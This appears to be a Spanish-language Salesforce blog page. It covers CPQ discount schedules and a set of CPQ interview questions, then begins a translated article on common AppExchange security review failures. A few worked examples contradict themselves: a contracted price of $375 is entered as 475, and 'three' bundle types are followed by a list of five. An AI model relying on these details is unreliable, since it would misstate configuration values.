La estructura típica de un programa de descuentos implica la definición de niveles específicos. Cada nivel incluye el nombre del nivel, el límite inferior, el límite superior y el descuento (porcentaje/monto) aplicable en ese nivel.

Hay dos formas en que funciona el programa de descuentos: –

  • Losa
  • Rango

1. Programa de descuentos de losa:

Domino's quiere ofrecer un descuento de Slab durante un festival local. Establecieron los siguientes niveles:

– 1-5 pizzas: 0% de descuento

– 6-10 pizzas: 5% de descuento

– 11+ pizzas: 10% de descuento

Utilizando el método Slab, Salesforce CPQ calcula el descuento de la siguiente manera:

Las primeras 5 pizzas obtienen un 0% de descuento.

Las siguientes 5 pizzas (pizzas 6 a 10) reciben un 5% de descuento.

Las 2 pizzas finales (pizzas 11 y 12) reciben un 10% de descuento.

Cada “losa” o nivel de pizzas se descuenta según su respectivo tramo, no según la cantidad total del pedido.

2. Programa de descuentos por rango:

Domino's decide ofrecer un descuento de gama durante un evento deportivo importante. Establecieron los siguientes niveles:

– 1-7 pizzas: 0% de descuento

– 8-14 pizzas: 7% de descuento

– 15+ pizzas: 15% de descuento

Utilizando el método Rango, Salesforce CPQ calcula el descuento de la siguiente manera:

– El total de 10 pizzas se encuentran dentro del rango de 8 a 14.

– Por tanto, las 10 pizzas reciben un 7% de descuento.

El descuento se aplica al pedido total según el rango en el que se encuentra la cantidad total.

¿Cuáles son los pasos para configurar un programa de descuentos?

  1. Abra la aplicación Salesforce CPQ desde el iniciador de aplicaciones.
  2. Escriba "Programación de descuentos" en el cuadro de búsqueda del iniciador de aplicaciones.
  3. Abra la pestaña Programación de descuentos y haga clic en "nuevo".
  4. Establecer el nombre del horario,
  5. Establezca el tipo como Rango o Losa según el requisito.
  6. Seleccione la unidad de descuento entre las opciones de Porcentaje, Monto y precio según el requisito.
  7. Para el alcance de agregación, seleccione Cotización o Grupo según el requisito.
  8. Haga clic en 'Guardar'.

¿Cuáles son los pasos para crear niveles de descuento y asociar el programa de descuentos con el producto?

  1. Abra el Programa de descuentos en el que queremos crear Niveles de descuentos.
  2. Haga clic en 'Editar nivel'.
  3. Establezca el nombre del nombre de primer nivel.
  4. Establezca el límite inferior del primer nivel.
  5. Establezca el límite superior del primer nivel.
  6. Establezca el descuento (porcentaje/importe).
  7. Haga clic en el botón + para agregar un nuevo nivel y repita los pasos del 3 al 6.
  8. Repita el paso 7 según el requisito de los niveles necesarios.

9. Haga clic en Guardar.

10. Abra la pestaña Producto desde la barra de navegación y seleccione el producto al que queremos asociar el Programa de Descuentos.

11. Haga clic en el botón 'Editar'.

12. En el campo Programación de descuentos, ingrese el nombre del programa de descuentos creado.

13. Haga clic en el botón 'Guardar'

50% Me gusta VS
50% No me gusta
Seguir leyendo

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 1

Enlace de Whatsapp para el grupo Salesforce CPQ

1. ¿Qué son los filtros de búsqueda en el editor de líneas de cotización?

El filtro de búsqueda del editor de líneas de cotización se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.

2. ¿Cuál es la diferencia entre la regla del producto y la regla del precio?

La estructura general de las reglas de precios y de productos es la misma:

  • Registro de reglas: que contiene propiedades generales.
  • Condiciones: ambas admiten lógica de condición avanzada
  • Comportamiento

Reglas del producto

Las reglas de productos se utilizan para hacer cumplir la lógica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y también aceleran el proceso de cotización.

Hay 4 tipos de reglas de producto:

Reglas de validación: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situación. Por tanto, actúan como un freno duro .

Las reglas de alerta son una parada suave en comparación con la parada fuerte de las reglas de validación. También muestran un mensaje, pero es más bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.

Reglas de selección : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinación de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotización. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o más deseadas seleccionando automáticamente los productos correctos.

Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del catálogo de productos mediante una regla de filtrado . A esto se le suele denominar creación de un paquete dinámico.

Reglas de precios

Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del cálculo que afectarán el precio. puede usarlos para establecer descuentos y cantidades.

3. ¿Cuáles son las consideraciones para los campos gemelos?

Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opción de producto.

4. ¿Cómo configurar productos de suscripción en Salesforce CPQ?

Hay tres campos esenciales para configurar Productos de suscripción en Salesforce CPQ.

Campo de producto Tipo de datos Descripción
Precios de suscripción Lista de selección El producto no se considerará una suscripción sin que este campo esté configurado en Precio fijo o Porcentaje del total.
Plazo de suscripción Número Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripción Anual.
Tipo de suscripción Lista de selección Este campo determina si el producto es renovable o único. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovación. Las suscripciones únicas no lo harán.

Para crear Productos de Suscripción , cree un nuevo Registro de productos. Complete los campos: Precio de suscripción , Tipo de suscripción y Plazo de suscripción para el producto. Tenga en cuenta que durante la creación del contrato, los Productos de Suscripción se convierten en registros de Suscripción.

Salesforce CPQ, Productos de suscripción, Campos básicos de nuevos productos: Precios de suscripción; Tipo de suscripción; Plazo de suscripción

5. ¿Cuál es la diferencia entre restricciones de opciones y reglas de productos?

Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.

Las restricciones de opciones no pueden seleccionar productos automáticamente. (aunque pueden anular la selección de productos cuando se aplica la dependencia). Son buenos en dos escenarios:

  • dependencia
  • exclusión

Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opción, la dependencia o exclusión se activa inmediatamente.

Las reglas de producto tienen más funciones que la restricción de opción, aunque es necesario elegir un evento de evaluación para especificar cuándo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.

6. ¿Explicar el paquete de productos en CPQ?

Hay tres objetos clave que definen la estructura del paquete :

  • Producto
  • Opciones
  • Características

Producto

Los paquetes están hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora portátil como un producto

Opciones de producto

Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora portátil pueden ser mouse, teclado, cargador y software de Microsoft.

Características

Son categorías de opciones de productos dentro de la configuración. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y también ayudan a impulsar lógica adicional, como las opciones mínimas y máximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:

Software

  • Software de Microsoft

Hardware

  • Ratón
  • Teclado

Aquí Hardware y Software son características que clasifican las opciones del producto.

Hay tres tipos de paquetes :

Paquete estático. Este sería el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuración porque no se permiten ajustes.

Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.

Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean fácilmente agregando el producto principal de un paquete como opción a otro paquete.

Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.

Paquetes dinámicos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.

7.¿Qué son las funciones de CPQ?

El objeto de característica está relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una función puede tener varias opciones.

Las características tienen dos propósitos:

  • Ofrecen una mejor experiencia de usuario mientras navegan por las opciones de productos dentro de los paquetes.
  • Los campos en los registros de funciones nos ayudan a impulsar la lógica empresarial , como establecer las opciones mínimas y máximas, evitando que el usuario seleccione muy pocas o demasiadas opciones. Si el usuario no cumple con los requisitos mínimos/máximos e intenta guardar la configuración.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

El campo Número establece el orden de visualización de las funciones, siendo la función con el número más bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar números.

El campo SKU configurado se completa automáticamente cuando el usuario crea una función desde la página de detalles del producto del paquete y representa el producto principal que alberga la función.

8. ¿Explica los diferentes valores del campo del método de selección de opciones en el objeto de características?

El campo Método de selección de opciones controla cómo aparecen al usuario las opciones adjuntas a esta función.

Haga clic : las opciones aparecen como una lista con casillas de verificación junto a ellas:

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

Agregar : las opciones se colapsan y en su lugar aparece un botón Agregar opciones. Se debe hacer clic en el botón Agregar opciones para navegar a una página separada que muestra los productos para esta función.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

Dinámico : muestra un botón Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selección. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes dinámicos.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

9. ¿Explicar el campo del objeto de búsqueda?

Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de búsqueda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de búsqueda para compararlos con los campos de cotización, línea de cotización o opción de producto.

10. ¿Explicar la estructura de la plantilla de cotización?

La estructura de la plantilla de cotización incluye:

  1. Información de la plantilla de cotización
  • Información de la página
  • Información de encabezado/pie de página
  • Información corporativa
  • Información de estilo
  • Información de estilo de grupo
  • Títulos de sección
  • Opciones de impresión
  1. Listas relacionadas
  • Columnas de línea
  • Secciones de plantilla
  • Documentos adicionales

Detalles de la plantilla de cotización de muestra nueva de Salesforce CPQ

11. ¿Cuáles son los pasos para crear plantillas de cotizaciones?

Hay cinco pasos principales a seguir al crear una plantilla de cotización:

1. Crear la propia plantilla de cotización

2. Almacenamiento del logotipo necesario en Documentos

3. Creando el contenido de la plantilla

4. Creando las secciones de la plantilla

5. Creando las columnas de línea

12. ¿Cómo se puede renovar la suscripción con un cliente existente?

Si ya tiene una oportunidad de renovación, cuando se acerque al final del período de suscripción, es posible que desee venderles las suscripciones de renovación al cliente nuevamente. Para ello, necesita una cotización de renovación.

Se puede generar marcando la casilla de verificación Cotización de renovación como verdadera. Esta cotización de renovación se puede enviar, actualizar y modificar según sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.

1. Primero, haga clic en la pestaña Cuentas en la barra de navegación.

2. Vaya a la empresa necesaria y haga clic en la pestaña Relacionado .

3. Acceda al enlace Número de contrato en la lista relacionada Contratos y luego haga clic en Editar .

4. Marque la casilla de verificación Cotización de renovación como verdadera, lo que le indicará a CPQ que genere una cotización sobre la oportunidad de renovación.

.

Tenga en cuenta que la cotización de renovación tiene la Fecha de inicio un día después de la Fecha de cierre de la oportunidad de renovación, mientras que la Fecha de finalización se basa en el Plazo de renovación del contrato.

13. ¿Cómo modificar un contrato en Salesforce CPQ?

Veamos cómo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripción, prorrateados por la duración restante del Contrato y crear automáticamente una Oportunidad y Cotización de enmienda:

Cree una cotización de modificación y una oportunidad para aumentar la cantidad de un producto de suscripción de 1 a 10, a partir de los 3 meses del contrato.

Navegue hasta esa cuenta y vaya al enlace Número de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .

14. ¿Cómo funciona el grupo de restricción de opciones en Salesforce CPQ?

Esta característica resulta útil cuando desea hacer que las opciones sean obligatorias o excluidas en función de combinaciones de otras opciones.

Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotización:

A. Haga clic en la pestaña Productos en la barra de navegación.

C. Vaya a la pestaña Relacionados .

D. En la lista relacionada Opciones , seleccione Ver todo y anote el número del Nombre de la opción para las opciones necesarias:

  • Producto A.
  • Producto B.

E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:

  • Para el campo Nombre de restricción , ingrese: El producto A requiere el producto B
  • Para el campo Opción restringida , ingrese: < PO-###### del Producto A >  
  • Para el campo Opción de restricción , ingrese: < PO-###### del Producto B >
  • Para el campo Grupo de restricciones de opción , ingrese: Puede ingresar aquí cualquier cadena de texto, pero es una buena práctica hacerla descriptiva y fácil de entender y recordar.

F. Haga clic en Guardar .

16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. ¿Cómo configurar para este escenario?

Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuración.

Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuración.

Paso 3: Cree una regla de producto que confirme cómo funcionará la regla de validación durante la configuración del producto.

Paso 4: Cree una condición de error que controle cuándo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.

Paso 5: Cree una regla de configuración para mostrar que la regla de validación se aplicará al paquete de productos.

Paso 6: compruebe si la regla se comporta como se esperaba.

17. ¿Cómo utilizar las restricciones de opciones?

Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en función de otra opción de producto.

Los escenarios incluyen:

  1. A. El Producto A pasa a estar DISPONIBLE si se selecciona el Producto B.
  2. B. El Producto A NO ESTÁ DISPONIBLE si se selecciona el Producto B.

Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.

Cree una restricción de opción para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:

18. ¿Explique un caso de uso de precios contratados?

Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora portátil en lugar de $450,00

Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.

Primero, creemos un precio contratado para un único producto específico para una cuenta seleccionada. Haga clic en la pestaña Cuentas , haga clic en la cuenta seleccionada , vaya a la pestaña Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:

►Producto: Computadora portátil
►Precio: 475
►Haga clic en Guardar.

Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.

19. ¿Explicar el evento de evaluación en la regla del producto?

Evento de evaluación : especifica cuándo se debe evaluar la regla:

Cargar: La regla se evaluará cuando se abra el paquete de productos.

Editar: la regla se evaluará cuando se edite el paquete de productos.

Guardar: la regla se evaluará al guardar.

Siempre: La regla será evaluada durante cualquier evento.

Ahora, supongamos que tiene un campo en el Objeto de producto que también desea ver en la Línea de cotización. Cree un campo con el mismo nombre de API y del mismo tipo.

20. ¿Qué es la venta guiada de Salesforce?

La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en función de la selección de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotización y sus especificaciones.

21. ¿Qué es el precio por bloque de Salesforce?

Los precios en bloque le permiten fijar el precio de un producto en función de diferentes rangos de cantidades que se denominan precios en bloque.

  • El precio en bloque es un precio basado en niveles. El precio basado en niveles significa que el precio del producto depende de la cantidad que compra el cliente.
  • El precio también se basa en el rango de cantidad y no en el producto individual.

22. ¿Cuáles son los pasos para implementar un paquete dinámico?

Los paquetes dinámicos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.

Para implementar un paquete dinámico, estos son los pasos de implementación que debe seguir:

►Crear una característica
►Crear una regla de producto
►Crear una acción
►Crear una regla de configuración

23. ¿Cuándo utilizar reglas de producto frente a restricciones de opciones?

Cuándo utilizar restricciones de opciones

Si tiene menos opciones y puede ajustar todas las opciones de producto en la categoría/pestaña sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.

24. ¿Cuándo utilizar las reglas del producto?

Este enfoque es especialmente útil en configuraciones más grandes que se muestran en categorías (pestañas), donde cada categoría puede requerir un desplazamiento extenso para mostrar todas las opciones.

Diferencias Restricciones de opciones Reglas de selección de productos
Acciones admitidas Habilitar deshabilitar Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar
Condiciones La restricción de opción tiene una condición simple: si se selecciona la opción X Las reglas de producto pueden tener múltiples condiciones que evalúan información fuera del contexto del paquete, es decir, campos de nivel de cotización/oportunidad/cuenta.
Alcance La restricción de opciones se limita a una sola opción. Las reglas del producto pueden actuar sobre múltiples opciones
Contexto Se utiliza sólo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es específico de un solo paquete. Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto único a paquetes ilimitados.
Resultado No se puede seleccionar/deseleccionar automáticamente un producto Puede seleccionar/deseleccionar automáticamente un producto

25. ¿Cuándo se ejecutan las Reglas de Producto durante el proceso de cotización?

Las reglas del producto se ejecutan en la página de configuración del producto o en el editor de líneas de cotización. Esto se decide en función de los siguientes campos de reglas de producto:

a. ALCANCE – (Valores: Producto/Cotización ): el campo Alcance en el registro de regla del producto le indica a CPQ DÓNDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutará durante la configuración del producto, y un alcance de "Cotización" hará que se ejecute en el Editor de líneas de cotización.

b. EVENTO DE EVALUACIÓN – (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluación en el registro de regla del producto le indica a CPQ CUÁNDO debe ejecutarse la regla.

26. Explique la descripción general del ciclo de vida de Salesforce CPQ.

Generación de leads: el ciclo de vida de CPQ comienza con la generación de leads, donde los clientes potenciales muestran interés en tus productos o servicios.

Creación de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar información del cliente y evaluar sus necesidades.

Configuración del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupación y personalización.

Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados según los requisitos específicos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.

Generación de cotizaciones: una vez determinados la configuración del producto y el precio, Salesforce CPQ genera una cotización profesional adaptada a las necesidades del cliente. La cotización incluye información detallada sobre los productos o servicios, precios y términos.

Aprobación y negociación de la cotización: la cotización generada pasa por un proceso de aprobación, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociación con el cliente para finalizar los detalles de la cotización.

Aceptación de cotización: una vez que el cliente acepta la cotización, avanza a la siguiente etapa del ciclo de vida de CPQ.

Creación de pedidos: la cotización aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gestión de inventario, el procesamiento de pedidos y el envío.

Gestión de contratos: Salesforce CPQ proporciona capacidades de gestión de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotización aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gestión del ciclo de vida del contrato.

Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturación y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en función de los productos o servicios entregados.

Renovación y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovación. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.

Informes y análisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y análisis para monitorear métricas clave, rastrear el desempeño de ventas, identificar tendencias y tomar decisiones basadas en datos.

27. ¿Explicar los atributos de configuración?

En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuración .

Atributo de configuración

Hay 2 tipos de Atributos de Configuración que podemos crear en Salesforce CPQ.

  1. Atributo de configuración
  2. Atributo global
  • Cuando queramos crear y asignar cualquier atributo al producto del paquete , crearemos un registro de Atributo de configuración que tenga el tipo de registro "Atributo de configuración" .
  • Cuando queramos crear y asignar cualquier atributo a un producto de opción , crearemos un atributo de configuración de registro que tenga el tipo de registro "Atributo global" .

28. ¿Qué es el precio excedente en Salesforce CPQ?

Imagina que tienes un plan de telefonía móvil que incluye hasta 10 GB de datos por 30 dólares al mes. Esto es mucho, pero ¿qué pasa si usas más de 10 GB en un mes? Ahí es donde entran en juego las tasas excedentes.

La compañía telefónica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados más allá de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagarás la tarifa base de $30 por los primeros 10 GB, más una tarifa excedente de $2 por los GB adicionales, por un total de $32.

Así es como se descompone:

– Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.

– Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.° GB, para un total de $32.

– Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.

…y así sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.

Este sistema hace que la facturación sea más clara y sencilla. Usted sabe exactamente cuánto se le cobrará si excede su límite de datos y la compañía telefónica puede calcular fácilmente los cargos según el uso real.

Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso único para cualquier organización que utilice Salesforce CPQ.

29. ¿Explique la caída de precios en CPQ con la ayuda de un ejemplo?

Imagina que estás en "Sundae Funday", una heladería conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y así es como cambia el precio:

1. Precio original: Este es el costo básico en el que incurre “Sundae Funday” para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cuánto le cuesta a la tienda hacer ese delicioso cono.

2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el menú cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio estándar para cualquier cliente en un día normal.

3. Precio especial: ¿Adivina qué? Visitas la tienda un “martes tropical” y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un “precio especial” de $4.00. Este precio es específico para esta promoción o segmento de clientes.

4. **Precio Regular**: ¡Aquí vienen los beneficios del programa de fidelización! Como titular de una tarjeta de fidelidad “Sundae Funday”, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el “precio regular” que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.

5. **Precio para el cliente**: Tienes un cupón por completar una encuesta en tu última visita, lo que te otorga un descuento adicional de $0,50 en tu próxima compra. Después de aplicar esto, su “precio al cliente” ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y únicas.

6. **Precio de socio**: La heladería tiene una asociación con un cine cercano. Dado que tiene una entrada de cine para el mismo día, obtiene un descuento adicional del 5%, lo que reduce su cono a un “precio de socio” de $2,95.

7. **Precio neto**: Finalmente, hay una promoción para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto último te lleva a tu “precio neto” final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.

En este viaje, cada reducción de precio refleja una etapa en la cascada de precios CPQ, desde el costo básico de los bienes hasta el precio final pagado por un cliente en una posición única.

Memorizar las etapas de tarificación junto con sus funciones utilizando el

Con el mnemotécnico “Los viejos leones duermen, rara vez atrapan presas, nunca ronronean” , puede crear una historia que vincule cada término no solo con el orden de los precios sino también con sus roles específicos en el proceso de fijación de precios.

30. ¿Explique el método de fijación de precios de 'porcentaje del total'?

Imagina que estás en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios únicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en función del monto total que gasta en otras delicias. Así es como funciona:

1. Método de fijación de precios: “Porcentaje del total”:

– Piense en esto como la “Regla de la sorpresa del helado”. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial según la cual su bonificación es un porcentaje del monto total que ha gastado, como su “propina” en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.

2. Porcentaje del total (%) – El número mágico:

– El parque tiene carteles por todas partes que dicen: “¡Gasta en golosinas y recibe un 10% de bonificación!” Este 10% es el número mágico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibirás un “Bono Sorpresa de Sundae” por valor de $3.

3. Porcentaje de la base total: recuento de helados:

– Ahora, aquí es donde se pone aún más genial. El parque te permite elegir qué cuenta para este cálculo mágico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu “Bono Sorpresa de Sundae”, lo que lo convierte en un valor de $2 (10% de $20).

Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje mágico y calcular su bonificación en función exactamente de lo que desea contar para la sorpresa.

Esto hace que recordar el concepto de “porcentaje del total” sea tan fácil como disfrutar de un helado en un día soleado.

50% Me gusta VS
50% No me gusta
Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

